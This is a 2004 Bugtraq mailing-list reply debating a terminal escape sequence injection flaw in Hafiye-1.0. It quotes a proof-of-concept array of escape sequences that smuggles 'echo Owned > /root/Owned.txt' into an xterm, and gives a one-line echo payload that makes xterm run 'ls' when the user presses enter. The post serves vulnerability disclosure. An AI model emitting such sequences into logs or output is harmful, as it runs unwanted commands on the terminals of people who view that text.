[36289] in bugtraq
Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
daemon@ATHENA.MIT.EDU (Serkan Akpolat)
Thu Aug 26 20:46:56 2004
Message-ID: <412B79E2.1030503@gmx.net>
Date: Tue, 24 Aug 2004 20:24:50 +0300
From: Serkan Akpolat <sakpolat@gmx.net>
MIME-Version: 1.0
To: Rodrigo Barbosa <rodrigob@suespammers.org>
Cc: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
In-Reply-To: <20040824155455.GJ1590@suespammers.org>
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Rodrigo Barbosa wrote:
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> On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
>
>>char *esc_sequence[]= {"Escape Sequences",
>> "\x1b""]2;Insecure?""\x07\x0a",
>> "\x07\x07\x07\x07\x07\x07",
>> "\x1b""]2;;echo Owned > /root/Owned.txt"
>> "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
>> "Abnormal Termination""\x1b"
>> "[8m;""\x0a"};
>
>
> Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
> I would blame this on the terminal, nor on the Hafiye software itself.
>
> []s
>
> - --
> Rodrigo Barbosa <rodrigob@suespammers.org>
> "Quid quid Latine dictum sit, altum viditur"
> "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)
>
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>
Well i would not blame this on terminal emulators.
And the escape sequences in the poc exploit i wrote are not related with
ANSI escape code "exploit".
They are features of terminal emulators.
echo -e "\e]2;;ls;\a\e[21t\abash-2.05b$\e[8m;"
You can try this one in xterm.You will see bash-2.05b$ , if you type
some command and hit enter, "ls" command in the escape sequence will be
executed too. (thanks to bloofar for the hint)
You can read more on "TERMINAL EMULATOR SECURITY ISSUES" paper written
by H D Moore. The paper also covers old vulnerabilities in terminal
emulators.
